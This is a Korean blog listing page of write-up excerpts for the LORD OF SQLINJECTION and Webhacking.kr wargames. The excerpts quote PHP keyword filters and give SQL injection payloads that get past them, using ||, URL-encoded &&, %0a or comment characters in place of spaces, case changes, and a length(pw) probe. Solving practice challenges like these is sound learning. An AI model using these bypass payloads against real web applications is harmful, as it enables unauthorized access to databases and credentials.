Wargame(hacking) (112) 썸네일형 리스트형 LORD OF SQLINJECTION : troll Write-Up 필터링 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); id에 대한 입력 값을 필터링 하는데, admin을 아래 그림 1과 같이 Admin으로 우회해줬다. 해결! LORD OF SQLINJECTION : orge Write-Up orc 문제와 유사한 문제였다. 달랐던 점은 or 와 and 의 필터링을 우회해야 한다는 점이였다. 문제를 풀어보도록 한다! ?pw=1%27||%20id%20like%20%27admin%27%23 " Hello admin " 이 출력되지만, if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 조건을 만족 시키지 못한다. ?pw=1%27%20||%20id%20=%20%27admin%27%20%26%26%20length(pw)=8%23 위 코드를 통해, pw의 길이를 파악한다. 중요한 점은 request 요청 시, &&가 파라미터 구분자로 인식되어 제대로 요청이 되지 않았고, url encoding 시켜 %26로 전달했다.. Webhacking.kr : old-12 Write-Up 해당 코드를 aadecode 실행하니, 아래와 같은 코드가 출력되었다. var enco=''; var enco2=126; var enco3=33; var ck=document.URL.substr(document.URL.indexOf('=')); for(i=1;i LORD OF SQLINJECTION : darkelf Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 이번 문제의 필터링은 위와 같다. or 와 and가 필터링 되고 있다. 아래와 같은 payload로 or 우회를 시도해본다. ?pw=%27||%201=1%23 || 로 or 우회가 되면서, guest id가 조회된다. 다시 아래와 같은 payload를 통해 admin을 조회하고, 문제를 해결한다! ?pw=%27||%20id%20like%20%27admin%27%23 or 필터링은 || 로 우회가 가능하며, and 필터링은 &&로 우회가 가능하다. LORD OF SQLINJECTION : wolfman Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 위의 필터링에 의해 공백(%20)이 필터링된다. 그러므로 아래와 같이 %0a로 공백 필터링을 우회해 주었다. ?pw=%27or%0a1=1%23 +plus ?pw=%27or/**/1=1%23 ?pw=%27or%0d1=1%23 ?pw=1%27or%0aid%0alike%0a%27admin%27%23 LORD OF SQLINJECTION : orc Write-Up 첫 번째 방법 LORD OF SQLINJECTION : goblin Write-Up LORD OF SQLINJECTION : cobolt Write-Up 이전 1 ··· 4 5 6 7 8 9 10 ··· 14 다음